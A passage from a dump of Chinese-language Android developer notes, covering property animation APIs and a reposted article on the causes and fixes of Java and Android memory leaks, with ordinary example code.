Animation中是Interplator，这两个是一样的，在3.0之前只有Interplator，3.0之后实现代码转移至了TimeInterplator。Interplator继承自TimeInterplator，内部没有任何其他代码。\n\n- AccelerateInterpolator　　　　　     加速，开始时慢中间加速\n- DecelerateInterpolator　　　 　　   减速，开始时快然后减速\n- AccelerateDecelerateInterolator　   先加速后减速，开始结束时慢，中间加速\n- AnticipateInterpolator　　　　　　  反向 ，先向相反方向改变一段再加速播放\n- AnticipateOvershootInterpolator　   反向加回弹，先向相反方向改变，再加速播放，会超出目的值然后缓慢移动至目的值\n- BounceInterpolator　　　　　　　  跳跃，快到目的值时值会跳跃，如目的值100，后面的值可能依次为85，77，70，80，90，100\n- CycleIinterpolator　　　　　　　　 循环，动画循环一定次数，值的改变为一正弦函数：Math.sin(2 * mCycles * Math.PI * input)\n- LinearInterpolator　　　　　　　　 线性，线性均匀改变\n- OvershottInterpolator　　　　　　  回弹，最后超出目的值然后缓慢改变到目的值\n- TimeInterpolator　　　　　　　　   一个接口，允许你自定义interpolator，以上几个都是实现了这个接口\n\n\n### `PropertyValuesHolder`\n\n如果要实现一个对象不同属性的动画效果，除了`Set`，我们还可以利用`PropertyValuesHolder`和`ViewPropertyAnimator`对象来实现，具体做法如下：\n```\nPropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(\"x\", 50f);\nPropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(\"y\", 100f);\nObjectAnimator.ofPropertyValuesHolder(myView, pvhX, pvyY).start();\n```\n\n### `ViewPropertyAnimator`\n\n`* <p>This class is not constructed by the caller, but rather by the View whose properties\n * it will animate. Calls to {@link android.view.View#animate()} will return a reference\n * to the appropriate ViewPropertyAnimator object for that View.</p>`\n\n如果需要对一个View的多个属性进行动画可以用ViewPropertyAnimator类，该类对多属性动画进行了优化，会合并一些invalidate()来减少刷新视图，该类在3.1中引入。\n\n`view.animate()`方法会返回`ViewPropertyAnimator`类。\n```java\nmyView.animate().x(50f).y(100f);\n```\n的效果与上面的`PropertyValuesHolder`例子中的效果完全一致。\n但是你有没有发现我们自始至终没有调用过`start()`方法，这是因为新的接口中使用了隐式启动动画的功能，只要我们将动画定义完成之后，动画就会自动启动。并且这个机制对于组合动画也同样有效，只要我们不断地添加新的方法，那么动画就不会立刻执行，等到所有在`ViewPropertyAnimator`上设置的方法都执行完毕后，动画就会自动启动。当然如果不想使用这一默认机制的话，我们也可以显式地调用`start()`方法来启动动画。\n\n\n\n### XML中定义\n\n在`res/animator`中定义对应的动画`xml`       \n- <animator>  对应代码中的ValueAnimator\n- <objectAnimator>  对应代码中的ObjectAnimator\n- <set>  对应代码中的AnimatorSet \n例如:       \n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<objectAnimator   \n    xmlns:android=\"http://schemas.android.com/apk/res/android\"   \n    android:propertyName=\"scaleX\"  \n    android:duration=\"2000\"  \n    android:valueFrom=\"1.0\"  \n    android:valueTo=\"2.0\"  \n    android:valueType=\"floatType\" \n    android:repeatCount=\"1\"  \n    android:repeatMode=\"reverse\">  \n</objectAnimator>  \n```\n这里说明一下`valueFrom`和`valueTo`:是动画开始和结束值，如果我们缩放，则它们对应的是倍数，如果我们平移则对应的就是距离了。\n\n接下来就是调用了\n```java\nscaleXAnimator = (ObjectAnimator)AnimatorInflater.loadAnimator(this, R.animator.scalex);  \nscaleXAnimator.setTarget(btnScaleX);  \nscaleXAnimator.start();\n```\n\n那如果我们要播放多个动画怎么办?  \n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"   \n    android:ordering=\"together\">  \n    <objectAnimator  \n        android:duration=\"2000\"  \n        android:propertyName=\"scaleX\"  \n        android:repeatCount=\"1\"  \n        android:repeatMode=\"reverse\"  \n        android:valueFrom=\"1.0\"  \n        android:valueTo=\"2.0\" >  \n    </objectAnimator>  \n    <objectAnimator  \n        android:duration=\"2000\"  \n        android:propertyName=\"scaleY\"  \n        android:repeatCount=\"1\"  \n        android:repeatMode=\"reverse\"  \n        android:valueFrom=\"1.0\"  \n        android:valueTo=\"2.0\" >  \n    </objectAnimator>  \n</set>  \n```\n\n```java\nanimatorScaleSet = (AnimatorSet)AnimatorInflater.loadAnimator(this, R.animator.scale);  \nanimatorScaleSet.setTarget(btnScale);  \nanimatorScaleSet.start();\n\n```\n\n`Android L`又增加了一种动画样式，叫做`Reveal Animation`。\n首先来看一下效果:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/reveal.gif?raw=true)    \n\n可以直接通过`ViewAnimationUtils.createCircularReveal()`方法来创建。\n\n```java\n/**\n * Returns an Animator which can animate a clipping circle.\n * <p>\n * Any shadow cast by the View will respect the circular clip from this animator.\n * <p>\n * Only a single non-rectangular clip can be applied on a View at any time.\n * Views clipped by a circular reveal animation take priority over\n * {@link View#setClipToOutline(boolean) View Outline clipping}.\n * <p>\n * Note that the animation returned here is a one-shot animation. It cannot\n * be re-used, and once started it cannot be paused or resumed. It is also\n * an asynchronous animation that automatically runs off of the UI thread.\n * As a result {@link AnimatorListener#onAnimationEnd(Animator)}\n * will occur after the animation has ended, but it may be delayed depending\n * on thread responsiveness.\n *\n * @param view The View will be clipped to the animating circle.\n * @param centerX The x coordinate of the center of the animating circle, relative to\n *                <code>view</code>.\n * @param centerY The y coordinate of the center of the animating circle, relative to\n *                <code>view</code>.\n * @param startRadius The starting radius of the animating circle.\n * @param endRadius The ending radius of the animating circle.\n */\npublic static Animator createCircularReveal(View view,\n        int centerX,  int centerY, float startRadius, float endRadius) {\n    return new RevealAnimator(view, centerX, centerY, startRadius, endRadius);\n}\n```\n\n代码如下:    \n\n```java\nvoid enterReveal() {\n    final View myView = findViewById(R.id.my_view);\n\n    int cx = myView.getMeasuredWidth() / 2;\n    int cy = myView.getMeasuredHeight() / 2;\n\n    int finalRadius = Math.max(myView.getWidth(), myView.getHeight()) / 2;\n\n    Animator anim =\n        ViewAnimationUtils.createCircularReveal(myView, cx, cy, 0, finalRadius);\n\n    anim.start();\n}\n\nvoid exitReveal() {\n    final View myView = findViewById(R.id.my_view);\n\n    int cx = myView.getMeasuredWidth() / 2;\n    int cy = myView.getMeasuredHeight() / 2;\n\n    int initialRadius = myView.getWidth() / 2;\n\n    Animator anim =\n        ViewAnimationUtils.createCircularReveal(myView, cx, cy, initialRadius, 0);\n\n    anim.addListener(new AnimatorListenerAdapter() {\n        @Override\n        public void onAnimationEnd(Animator animation) {\n            super.onAnimationEnd(animation);\n            myView.setVisibility(View.INVISIBLE);\n        }\n    });\n\n    anim.start();\n}\n\n```\n\n有关如何提高动画性能请看:[通过Hardware Layer提高动画性能](https://github.com/CharonChui/AndroidNote/blob/master/Android%E5%8A%A0%E5%BC%BA/%E9%80%9A%E8%BF%87Hardware%20Layer%E6%8F%90%E9%AB%98%E5%8A%A8%E7%94%BB%E6%80%A7%E8%83%BD.md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android内存泄漏总结.md",
    "content": "** 本文为转载的优质好文，[原文链接](https://github.com/GeniusVJR/LearningNotes/blob/master/Part1/Android/Android%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F%E6%80%BB%E7%BB%93.md)\n\n\n\n# Android 内存泄漏总结\n\n内存管理的目的就是让我们在开发中怎么有效的避免我们的应用出现内存泄漏的问题。内存泄漏大家都不陌生了，简单粗俗的讲，就是该被释放的对象没有释放，一直被某个或某些实例所持有却不再被使用导致 GC 不能回收。最近自己阅读了大量相关的文档资料，打算做个 总结 沉淀下来跟大家一起分享和学习，也给自己一个警示，以后 coding 时怎么避免这些情况，提高应用的体验和质量。\n\n我会从 java 内存泄漏的基础知识开始，并通过具体例子来说明 Android 引起内存泄漏的各种原因，以及如何利用工具来分析应用内存泄漏，最后再做总结。\n\n\n## Java 内存分配策略\n\nJava 程序运行时的内存分配策略有三种,分别是静态分配,栈式分配,和堆式分配，对应的，三种存储策略使用的内存空间主要分别是静态存储区（也称方法区）、栈区和堆区。\n\n* 静态存储区（方法区）：主要存放静态数据、全局 static 数据和常量。这块内存在程序编译时就已经分配好，并且在程序整个运行期间都存在。\n\n* 栈区 ：当方法被执行时，方法体内的局部变量（其中包括基础数据类型、对象的引用）都在栈上创建，并在方法执行结束时这些局部变量所持有的内存将会自动被释放。因为栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。\n\n* 堆区 ： 又称动态内存分配，通常就是指在程序运行时直接 new 出来的内存，也就是对象的实例。这部分内存在不使用时将会由 Java 垃圾回收器来负责回收。\n\n## 栈与堆的区别：\n\n在方法体内定义的（局部变量）一些基本类型的变量和对象的引用变量都是在方法的栈内存中分配的。当在一段方法块中定义一个变量时，Java 就会在栈中为该变量分配内存空间，当超过该变量的作用域后，该变量也就无效了，分配给它的内存空间也将被释放掉，该内存空间可以被重新使用。\n\n堆内存用来存放所有由 new 创建的对象（包括该对象其中的所有成员变量）和数组。在堆中分配的内存，将由 Java 垃圾回收器来自动管理。在堆中产生了一个数组或者对象后，还可以在栈中定义一个特殊的变量，这个变量的取值等于数组或者对象在堆内存中的首地址，这个特殊的变量就是我们上面说的引用变量。我们可以通过这个引用变量来访问堆中的对象或者数组。\n\n举个例子:\n\n```\npublic class Sample {\n    int s1 = 0;\n    Sample mSample1 = new Sample();\n\n    public void method() {\n        int s2 = 1;\n        Sample mSample2 = new Sample();\n    }\n}\n\nSample mSample3 = new Sample();\n```\n\nSample 类的局部变量 s2 和引用变量 mSample2 都是存在于栈中，但 mSample2 指向的对象是存在于堆上的。\nmSample3 指向的对象实体存放在堆上，包括这个对象的所有成员变量 s1 和 mSample1，而它自己存在于栈中。\n\n结论：\n\n局部变量的基本数据类型和引用存储于栈中，引用的对象实体存储于堆中。—— 因为它们属于方法中的变量，生命周期随方法而结束。\n\n成员变量全部存储与堆中（包括基本数据类型，引用和引用的对象实体）—— 因为它们属于类，类对象终究是要被new出来使用的。\n\n了解了 Java 的内存分配之后，我们再来看看 Java 是怎么管理内存的。\n\n## Java是如何管理内存\n\nJava的内存管理就是对象的分配和释放问题。在 Java 中，程序员需要通过关键字 new 为每个对象申请内存空间 (基本类型除外)，所有的对象都在堆 (Heap)中分配空间。另外，对象的释放是由 GC 决定和执行的。在 Java 中，内存的分配是由程序完成的，而内存的释放是由 GC 完成的，这种收支两条线的方法确实简化了程序员的工作。但同时，它也加重了JVM的工作。这也是 Java 程序运行速度较慢的原因之一。因为，GC 为了能够正确释放对象，GC 必须监控每一个对象的运行状态，包括对象的申请、引用、被引用、赋值等，GC 都需要进行监控。\n\n监视对象状态是为了更加准确地、及时地释放对象，而释放对象的根本原则就是该对象不再被引用。\n\n为了更好理解 GC 的工作原理，我们可以将对象考虑为有向图的顶点，将引用关系考虑为图的有向边，有向边从引用者指向被引对象。另外，每个线程对象可以作为一个图的起始顶点，例如大多程序从 main 进程开始执行，那么该图就是以 main 进程顶点开始的一棵根树。在这个有向图中，根顶点可达的对象都是有效对象，GC将不回收这些对象。如果某个对象 (连通子图)与这个根顶点不可达(注意，该图为有向图)，那么我们认为这个(这些)对象不再被引用，可以被 GC 回收。\n以下，我们举一个例子说明如何用有向图表示内存管理。对于程序的每一个时刻，我们都有一个有向图表示JVM的内存分配情况。以下右图，就是左边程序运行到第6行的示意图。\n\n![](http://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak/1.gif)\n\nJava使用有向图的方式进行内存管理，可以消除引用循环的问题，例如有三个对象，相互引用，只要它们和根进程不可达的，那么GC也是可以回收它们的。这种方式的优点是管理内存的精度很高，但是效率较低。另外一种常用的内存管理技术是使用计数器，例如COM模型采用计数器方式管理构件，它与有向图相比，精度行低(很难处理循环引用的问题)，但执行效率很高。\n\n## 什么是Java中的内存泄露\n\n在Java中，内存泄漏就是存在一些被分配的对象，这些对象有下面两个特点，首先，这些对象是可达的，即在有向图中，存在通路可以与其相连；其次，这些对象是无用的，即程序以后不会再使用这些对象。如果对象满足这两个条件，这些对象就可以判定为Java中的内存泄漏，这些对象不会被GC所回收，然而它却占用内存。\n\n在C++中，内存泄漏的范围更大一些。有些对象被分配了内存空间，然后却不可达，由于C++中没有GC，这些内存将永远收不回来。在Java中，这些不可达的对象都由GC负责回收，因此程序员不需要考虑这部分的内存泄露。\n\n通过分析，我们得知，对于C++，程序员需要自己管理边和顶点，而对于Java程序员只需要管理边就可以了(不需要管理顶点的释放)。通过这种方式，Java提高了编程的效率。\n\n![](http://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak/2.gif)\n\n因此，通过以上分析，我们知道在Java中也有内存泄漏，但范围比C++要小一些。因为Java从语言上保证，任何对象都是可达的，所有的不可达对象都由GC管理。\n\n对于程序员来说，GC基本是透明的，不可见的。虽然，我们只有几个函数可以访问GC，例如运行GC的函数System.gc()，但是根据Java语言规范定义， 该函数不保证JVM的垃圾收集器一定会执行。因为，不同的JVM实现者可能使用不同的算法管理GC。通常，GC的线程的优先级别较低。JVM调用GC的策略也有很多种，有的是内存使用到达一定程度时，GC才开始工作，也有定时执行的，有的是平缓执行GC，有的是中断式执行GC。但通常来说，我们不需要关心这些。除非在一些特定的场合，GC的执行影响应用程序的性能，例如对于基于Web的实时系统，如网络游戏等，用户不希望GC突然中断应用程序执行而进行垃圾回收，那么我们需要调整GC的参数，让GC能够通过平缓的方式释放内存，例如将垃圾回收分解为一系列的小步骤执行，Sun提供的HotSpot JVM就支持这一特性。\n\n同样给出一个 Java 内存泄漏的典型例子，\n\n```\nVector v = new Vector(10);\nfor (int i = 1; i < 100; i++) {\n    Object o = new Object();\n    v.add(o);\n    o = null;   \n}\n```\n\n在这个例子中，我们循环申请Object对象，并将所申请的对象放入一个 Vector 中，如果我们仅仅释放引用本身，那么 Vector 仍然引用该对象，所以这个对象对 GC 来说是不可回收的。因此，如果对象加入到Vector 后，还必须从 Vector 中删除，最简单的方法就是将 Vector 对象设置为 null。\n\n\n**详细Java中的内存泄漏**\n\n1.Java内存回收机制\n\n不论哪种语言的内存分配方式，都需要返回所分配内存的真实地址，也就是返回一个指针到内存块的首地址。Java中对象是采用new或者反射的方法创建的，这些对象的创建都是在堆（Heap）中分配的，所有对象的回收都是由Java虚拟机通过垃圾回收机制完成的。GC为了能够正确释放对象，会监控每个对象的运行状况，对他们的申请、引用、被引用、赋值等状况进行监控，Java会使用有向图的方法进行管理内存，实时监控对象是否可以达到，如果不可到达，则就将其回收，这样也可以消除引用循环的问题。在Java语言中，判断一个内存空间是否符合垃圾收集标准有两个：一个是给对象赋予了空值null，以下再没有调用过，另一个是给对象赋予了新值，这样重新分配了内存空间。 \n\n2.Java内存泄漏引起的原因\n\n内存泄漏是指无用对象（不再使用的对象）持续占有内存或无用对象的内存得不到及时释放，从而造成内存空间的浪费称为内存泄漏。内存泄露有时不严重且不易察觉，这样开发者就不知道存在内存泄露，但有时也会很严重，会提示你Out of memory。j\n\nJava内存泄漏的根本原因是什么呢？长生命周期的对象持有短生命周期对象的引用就很可能发生内存泄漏，尽管短生命周期对象已经不再需要，但是因为长生命周期持有它的引用而导致不能被回收，这就是Java中内存泄漏的发生场景。具体主要有如下几大类：\n\n1、静态集合类引起内存泄漏：\n\n像HashMap、Vector等的使用最容易出现内存泄露，这些静态变量的生命周期和应用程序一致，他们所引用的所有的对象Object也不能被释放，因为他们也将一直被Vector等引用着。 \n\n例如\n\n```\nStatic Vector v = new Vector(10);\nfor (int i = 1; i<100; i++)\n{\nObject o = new Object();\nv.add(o);\no = null;\n}\n```\n\n在这个例子中，循环申请Object 对象，并将所申请的对象放入一个Vector 中，如果仅仅释放引用本身（o=null），那么Vector 仍然引用该对象，所以这个对象对GC 来说是不可回收的。因此，如果对象加入到Vector 后，还必须从Vector 中删除，最简单的方法就是将Vector对象设置为null。\n\n\n\n3、监听器\n\n在java 编程中，我们都需要和监听器打交道，通常一个应用当中会用到很多监听器，我们会调用一个控件的诸如addXXXListener()等方法来增加监听器，但往往在释放对象的时候却没有记住去删除这些监听器，从而增加了内存泄漏的机会。\n\n4、各种连接 \n\n比如数据库连接（dataSourse.getConnection()），网络连接(socket)和io连接，除非其显式的调用了其close（）方法将其连接关闭，否则是不会自动被GC 回收的。对于Resultset 和Statement 对象可以不进行显式回收，但Connection 一定要显式回收，因为Connection 在任何时候都无法自动回收，而Connection一旦回收，Resultset 和Statement 对象就会立即为NULL。但是如果使用连接池，情况就不一样了，除了要显式地关闭连接，还必须显式地关闭Resultset Statement 对象（关闭其中一个，另外一个也会关闭），否则就会造成大量的Statement 对象无法释放，从而引起内存泄漏。这种情况下一般都会在try里面去的连接，在finally里面释放连接。\n\n5、内部类和外部模块的引用\n\n内部类的引用是比较容易遗忘的一种，而且一旦没释放可能导致一系列的后继类对象没有释放。此外程序员还要小心外部模块不经意的引用，例如程序员A 负责A 模块，调用了B 模块的一个方法如：\npublic void registerMsg(Object b);\n这种调用就要非常小心了，传入了一个对象，很可能模块B就保持了对该对象的引用，这时候就需要注意模块B 是否提供相应的操作去除引用。\n\n6、单例模式 \n\n不正确使用单例模式是引起内存泄漏的一个常见问题，单例对象在初始化后将在JVM的整个生命周期中存在（以静态变量的方式），如果单例对象持有外部的引用，那么这个对象将不能被JVM正常回收，导致内存泄漏，考虑下面的例子：\n\n```\nclass A{\npublic A(){\nB.getInstance().setA(this);\n}\n....\n}\n//B类采用单例模式\nclass B{\nprivate A a;\nprivate static B instance=new B();\npublic B(){}\npublic static B getInstance(){\nreturn instance;\n}\npublic void setA(A a){\nthis.a=a;\n}\n//getter...\n} \n```\n\n\n显然B采用singleton模式，它持有一个A对象的引用，而这个A类的对象将不能被回收。想象下如果A是个比较复杂的对象或者集合类型会发生什么情况\n\n## Android中常见的内存泄漏汇总\n---\n\n### 集合类泄漏\n\n集合类如果仅仅有添加元素的方法，而没有相应的删除机制，导致内存被占用。如果这个集合类是全局性的变量 (比如类中的静态属性，全局性的 map 等即有静态引用或 final 一直指向它)，那么没有相应的删除机制，很可能导致集合所占用的内存只增不减。比如上面的典型例子就是其中一种情况，当然实际上我们在项目中肯定不会写这么 2B 的代码，但稍不注意还是很容易出现这种情况，比如我们都喜欢通过 HashMap 做一些缓存之类的事，这种情况就要多留一些心眼。\n\n### 单例造成的内存泄漏\n\n由于单例的静态特性使得其生命周期跟应用的生命周期一样长，所以如果使用不恰当的话，很容易造成内存泄漏。比如下面一个典型的例子，\n\n```\npublic class AppManager {\nprivate static AppManager instance;\nprivate Context context;\nprivate AppManager(Context context) {\nthis.context = context;\n}\npublic static AppManager getInstance(Context context) {\nif (instance == null) {\ninstance = new AppManager(context);\n}\nreturn instance;\n}\n}\n```\n\n这是一个普通的单例模式，当创建这个单例的时候，由于需要传入一个Context，所以这个Context的生命周期的长短至关重要：\n\n1、如果此时传入的是 Application 的 Context，因为 Application 的生命周期就是整个应用的生命周期，所以这将没有任何问题。\n\n2、如果此时传入的是 Activity 的 Context，当这个 Context 所对应的 Activity 退出时，由于该 Context 的引用被单例对象所持有，其生命周期等于整个应用程序的生命周期，所以当前 Activity 退出时它的内存并不会被回收，这就造成泄漏了。\n\n正确的方式应该改为下面这种方式：\n\n```\npublic class AppManager {\nprivate static AppManager instance;\nprivate Context context;\nprivate AppManager(Context context) {\nthis.context = context.getApplicationContext();// 使用Application 的context\n}\npublic static AppManager getInstance(Context context) {\nif (instance == null) {\ninstance = new AppManager(context);\n}\nreturn instance;\n}\n}\n```\n\n或者这样写，连 Context 都不用传进来了：\n\n```\n在你的 Application 中添加一个静态方法，getContext() 返回 Application 的 context，\n\n...\n\ncontext = getApplicationContext();\n\n...\n   /**\n     * 获取全局的context\n     * @return 返回全局context对象\n     */\n    public static Context getContext(){\n        return context;\n    }\n\npublic class AppManager {\nprivate static AppManager instance;\nprivate Context context;\nprivate AppManager() {\nthis.context = MyApplication.getContext();// 使用Application 的context\n}\npublic static AppManager getInstance() {\nif (instance == null) {\ninstance = new AppManager();\n}\nreturn instance;\n}\n}\n```\n\n### 匿名内部类/非静态内部类和异步线程\n\n非静态内部类创建静态实例造成的内存泄漏\n\n有的时候我们可能会在启动频繁的Activity中，为了避免重复创建相同的数据资源，可能会出现这种写法：\n\n```\n        public class MainActivity extends AppCompatActivity {\n        private static TestResource mResource = null;\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        if(mManager == null){\n        mManager = new TestResource();\n        }\n        //...\n        }\n        class TestResource {\n        //...\n        }\n        }\n```\n这样就在Activity内部创建了一个非静态内部类的单例，每次启动Activity时都会使用该单例的数据，这样虽然避免了资源的重复创建，不过这种写法却会造成内存泄漏，因为非静态内部类默认会持有外部类的引用，而该非静态内部类又创建了一个静态的实例，该实例的生命周期和应用的一样长，这就导致了该静态实例一直会持有该Activity的引用，导致Activity的内存资源不能正常回收。正确的做法为：\n\n将该内部类设为静态内部类或将该内部类抽取出来封装成一个单例，如果需要使用Context，请按照上面推荐的使用Application 的 Context。当然，Application 的 context 不是万能的，所以也不能随便乱用，对于有些地方则必须使用 Activity 的 Context，对于Application，Service，Activity三者的Context的应用场景如下：\n\n![](http://img.blog.csdn.net/20151123144226349?spm=5176.100239.blogcont.9.CtU1c4)\n\n其中： NO1表示 Application 和 Service 可以启动一个 Activity，不过需要创建一个新的 task 任务队列。而对于 Dialog 而言，只有在 Activity 中才能创建\n\n### 匿名内部类\n\nandroid开发经常会继承实现Activity/Fragment/View，此时如果你使用了匿名类，并被异步线程持有了，那要小心了，如果没有任何措施这样一定会导致泄露\n\n```\n    public class MainActivity extends Activity {\n    ...\n    Runnable ref1 = new MyRunable();\n    Runnable ref2 = new Runnable() {\n        @Override\n        public void run() {\n\n        }\n    };\n       ...\n    }\n```\n\nref1和ref2的区别是，ref2使用了匿名内部类。我们来看看运行时这两个引用的内存：\n\n![](http://img2.tbcdn.cn/L1/461/1/fb05ff6d2e68f309b94dd84352c81acfe0ae839e?spm=5176.100239.blogcont.10.CtU1c4)\n\n可以看到，ref1没什么特别的。\n\n但ref2这个匿名类的实现对象里面多了一个引用：\n\nthis$0这个引用指向MainActivity.this，也就是说当前的MainActivity实例会被ref2持有，如果将这个引用再传入一个异步线程，此线程和此Acitivity生命周期不一致的时候，就造成了Activity的泄露。\n\n### Handler 造成的内存泄漏\n\nHandler 的使用造成的内存泄漏问题应该说是最为常见了，很多时候我们为了避免 ANR 而不在主线程进行耗时操作，在处理网络任务或者封装一些请求回调等api都借助Handler来处理，但 Handler 不是万能的，对于 Handler 的使用代码编写一不规范即有可能造成内存泄漏。另外，我们知道 Handler、Message 和 MessageQueue 都是相互关联在一起的，万一 Handler 发送的 Message 尚未被处理，则该 Message 及发送它的 Handler 对象将被线程 MessageQueue 一直持有。\n\n由于 Handler 属于 TLS(Thread Local Storage) 变量, 生命周期和 Activity 是不一致的。因此这种实现方式一般很难保证跟 View 或者 Activity 的生命周期保持一致，故很容易导致无法正确释放。\n\n举个例子：\n\n```\n    public class SampleActivity extends Activity {\n\n    private final Handler mLeakyHandler = new Handler() {\n    @Override\n    public void handleMessage(Message msg) {\n      // ...\n    }\n    }\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n\n    // Post a message and delay its execution for 10 minutes.\n    mLeakyHandler.postDelayed(new Runnable() {\n      @Override\n      public void run() { /* ... */ }\n    }, 1000 * 60 * 10);\n\n    // Go back to the previous Activity.\n    finish();\n    }\n    }\n```\n\n在该 SampleActivity 中声明了一个延迟10分钟执行的消息 Message，mLeakyHandler 将其 push 进了消息队列 MessageQueue 里。当该 Activity 被 finish() 掉时，延迟执行任务的 Message 还会继续存在于主线程中，它持有该 Activity 的 Handler 引用，所以此时 finish() 掉的 Activity 就不会被回收了从而造成内存泄漏（因 Handler 为非静态内部类，它会持有外部类的引用，在这里就是指 SampleActivity）。\n\n修复方法：在 Activity 中避免使用非静态内部类，比如上面我们将 Handler 声明为静态的，则其存活期跟 Activity 的生命周期就无关了。同时通过弱引用的方式引入 Activity，避免直接将 Activity 作为 context 传进去，见下面代码：\n\n```\npublic class SampleActivity extends Activity {\n\n  /**\n   * Instances of static inner classes do not hold an implicit\n   * reference to their outer class.\n   */\n  private static class MyHandler extends Handler {\n    private final WeakReference<SampleActivity> mActivity;\n\n    public MyHandler(SampleActivity activity) {\n      mActivity = new WeakReference<SampleActivity>(activity);\n    }\n\n    @Override\n    public void handleMessage(Message msg) {\n      SampleActivity activity = mActivity.get();\n      if (activity != null) {\n        // ...\n      }\n    }\n  }\n\n  private final MyHandler mHandler = new MyHandler(this);\n\n  /**\n   * Instances of anonymous classes do not hold an implicit\n   * reference to their outer class when they are \"static\".\n   */\n  private static final Runnable sRunnable = new Runnable() {\n      @Override\n      public void run() { /* ... */ }\n  };\n\n  @Override\n  protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n\n    // Post a message and delay its execution for 10 minutes.\n    mHandler.postDelayed(sRunnable, 1000 * 60 * 10);\n\n    // Go back to the previous Activity.\n    finish();\n  }\n}\n```\n\n综述，即推荐使用静态内部类 + WeakReference 这种方式。每次使用前注意判空。\n\n前面提到了 WeakReference，所以这里就简单的说一下 Java 对象的几种引用类型。\n\nJava对引用的分类有 Strong reference, SoftReference, WeakReference, PhatomReference 四种。\n\n![](https://gw.alicdn.com/tps/TB1U6TNLVXXXXchXFXXXXXXXXXX-644-546.jpg)\n\n在Android应用的开发中，为了防止内存溢出，在处理一些占用内存大而且声明周期较长的对象时候，可以尽量应用软引用和弱引用技术。\n\n软/弱引用可以和一个引用队列（ReferenceQueue）联合使用，如果软引用所引用的对象被垃圾回收器回收，Java虚拟机就会把这个软引用加入到与之关联的引用队列中。利用这个队列可以得知被回收的软/弱引用的对象列表，从而为缓冲器清除已失效的软/弱引用。\n\n假设我们的应用会用到大量的默认图片，比如应用中有默认的头像，默认游戏图标等等，这些图片很多地方会用到。如果每次都去读取图片，由于读取文件需要硬件操作，速度较慢，会导致性能较低。所以我们考虑将图片缓存起来，需要的时候直接从内存中读取。但是，由于图片占用内存空间比较大，缓存很多图片需要很多的内存，就可能比较容易发生OutOfMemory异常。这时，我们可以考虑使用软/弱引用技术来避免这个问题发生。以下就是高速缓冲器的雏形：\n\n首先定义一个HashMap，保存软引用对象。\n\n```\nprivate Map <String, SoftReference<Bitmap>> imageCache = new HashMap <String, SoftReference<Bitmap>> ();\n```\n\n再来定义一个方法，保存Bitmap的软引用到HashMap。\n\n![](https://gw.alicdn.com/tps/TB1oW_FLVXXXXXuaXXXXXXXXXXX-679-717.jpg)\n\n使用软引用以后，在OutOfMemory异常发生之前，这些缓存的图片资源的内存空间可以被释放掉的，从而避免内存达到上限，避免Crash发生。\n\n如果只是想避免OutOfMemory异常的发生，则可以使用软引用。如果对于应用的性能更在意，想尽快回收一些占用内存比较大的对象，则可以使用弱引用。\n\n另外可以根据对象是否经常使用来判断选择软引用还是弱引用。如果该对象可能会经常使用的，就尽量用软引用。如果该对象不被使用的可能性更大些，就可以用弱引用。\n\nok，继续回到主题。前面所说的，创建一个静态Handler内部类，然后对 Handler 持有的对象使用弱引用，这样在回收时也可以回收 Handler 持有的对象，但是这样做虽然避免了 Activity 泄漏，不过 Looper 线程的消息队列中还是可能会有待处理的消息，所以我们在 Activity 的 Destroy 时或者 Stop 时应该移除消息队列 MessageQueue 中的消息。\n\n下面几个方法都可以移除 Message：\n\n```\npublic final void removeCallbacks(Runnable r);\n\npublic final void removeCallbacks(Runnable r, Object token);\n\npublic final void removeCallbacksAndMessages(Object token);\n\npublic final void removeMessages(int what);\n\npublic final void removeMessages(int what, Object object);\n```\n\n### 尽量避免使用 static 成员变量\n\n如果成员变量被声明为 static，那我们都知道其生命周期将与整个app进程生命周期一样。\n\n这会导致一系列问题，如果你的app进程设计上是长驻内存的，那即使app切到后台，这部分内存也不会被释放。按照现在手机app内存管理机制，占内存较大的后台进程将优先回收，yi'wei如果此app做过进程互保保活，那会造成app在后台频繁重启。当手机安装了你参与开发的app以后一夜时间手机被消耗空了电量、流量，你的app不得不被用户卸载或者静默。\n\n这里修复的方法是：\n\n不要在类初始时初始化静态成员。可以考虑lazy初始化。\n架构设计上要思考是否真的有必要这样做，尽量避免。如果架构需要这么设计，那么此对象的生命周期你有责任管理起来。\n\n### 避免 override finalize()\n\n1、finalize 方法被执行的时间不确定，不能依赖与它来释放紧缺的资源。时间不确定的原因是：\n        虚拟机调用GC的时间不确定\n        Finalize daemon线程被调度到的时间不确定\n\n2、finalize 方法只会被执行一次，即使对象被复活，如果已经执行过了 finalize 方法，再次被 GC 时也不会再执行了，原因是：\n\n含有 finalize 方法的 object 是在 new 的时候由虚拟机生成了一个 finalize reference 在来引用到该Object的，而在 finalize 方法执行的时候，该 object 所对应的 finalize Reference 会被释放掉，即使在这个时候把该 object 复活(即用强引用引用住该 object )，再第二次被 GC 的时候由于没有了 finalize reference 与之对应，所以 finalize 方法不会再执行。\n\n3、含有Finalize方法的object需要至少经过两轮GC才有可能被释放。\n\n\n### 资源未关闭造成的内存泄漏\n\n对于使用了BraodcastReceiver，ContentObserver，File，游标 Cursor，Stream，Bitmap等资源的使用，应该在Activity销毁时及时关闭或者注销，否则这些资源将不会被回收，造成内存泄漏。\n\n### 一些不良代码造成的内存压力\n\n有些代码并不造成内存泄露，但是它们，或是对没使用的内存没进行有效及时的释放，或是没有有效的利用已有的对象而是频繁的申请新内存。\n\n比如：\n        Bitmap 没调用 recycle()方法，对于 Bitmap 对象在不使用时,我们应该先调用 recycle() 释放内存，然后才它设置为 null. 因为加载 Bitmap 对象的内存空间，一部分是 java 的，一部分 C 的（因为 Bitmap 